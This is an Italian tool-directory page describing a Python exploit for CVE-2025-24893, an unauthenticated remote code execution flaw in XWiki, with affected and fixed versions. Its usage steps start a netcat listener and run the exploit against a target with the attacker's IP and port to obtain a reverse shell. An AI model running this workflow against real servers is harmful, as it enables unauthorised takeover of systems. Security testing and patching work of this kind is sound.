Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-24893 — Exploit di Esecuzione Remota di Codice (RCE) in XWiki | Kitploit
Strumenti/GitHubGitHub/hasecto/cve-2025-24893
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubhasecto/cve-2025-24893

CVE-2025-24893

Exploit di Esecuzione Remota di Codice (RCE) in XWiki

Vedi Repository
3 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-24893

Exploit di Esecuzione Remota di Codice (RCE) su XWiki

Uno script in Python3 per la CVE-2025-24893, una vulnerabilità critica di Esecuzione Remota di Codice Non Autenticata (RCE) che affligge la piattaforma XWiki.

Questo script sfrutta una falla di Iniezione di Codice/Espressione (CWE-95) all'interno del componente della macro SolrSearch. La falla consente agli attaccanti di eseguire codice Groovy/Java arbitrario sul sistema operativo sottostante. L'exploit esegue automaticamente la codifica in Base64 per bypassare le limitazioni di interpretazione dei comandi della funzione Runtime.getRuntime().exec() di Java.

📊 Dettagli della Vulnerabilità

  • CVE ID: CVE-2025-24893
  • Punteggio CVSS: 9.8 Critico (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • CWE: CWE-95 (Improper Neutralization of Expression Language Expression / Eval Injection)
  • Componente Bersaglio: /bin/get/Main/SolrSearch (tramite il parametro text)

🔍 Versioni Affette

  • Tutte le versioni dalla 5.3-milestone-2 alla 15.10.10
Scarica lo strumento
  • Versioni 16.0.0-rc-1 fino alla 16.4.0

    • 🚀 Come Usare

    1. Avvia il tuo listener (Netcat) su Kali Linux:

    root@kitploit:~
    nc -lvnp 4444

    2. Esegui l'exploit:

    root@kitploit:~
    python3 CVE-2025-24-893.py <URL_BERSAGLIO> <IL_TUO_IP_VPN> <LA_TUA_PORTA>

    Esempio:

    root@kitploit:~
    python3 CVE-2025-24-893.py http://domain.local 10.10.14.229 4444

    🛠️ Requisiti

    • Python 3.x
    • Libreria requests

    Per installare la dipendenza necessaria:

    root@kitploit:~
    pip install requests

    🛡️ Correzione

    Aggiorna la tua istanza di XWiki a una delle versioni ufficiali corrette: 15.10.11, 16.4.1, 16.5.0-rc-1 (o successive).

    ⚠️ Avviso Legale (Disclaimer)

    Questo script è stato sviluppato esclusivamente per scopi educativi, audit di sicurezza autorizzati e test di penetrazione (Pentest). L'autore non si assume alcuna responsabilità per usi impropri, danni o attività illegali causate da questo strumento. L'utilizzo di questo script contro bersagli senza preventiva autorizzazione è strettamente illegale.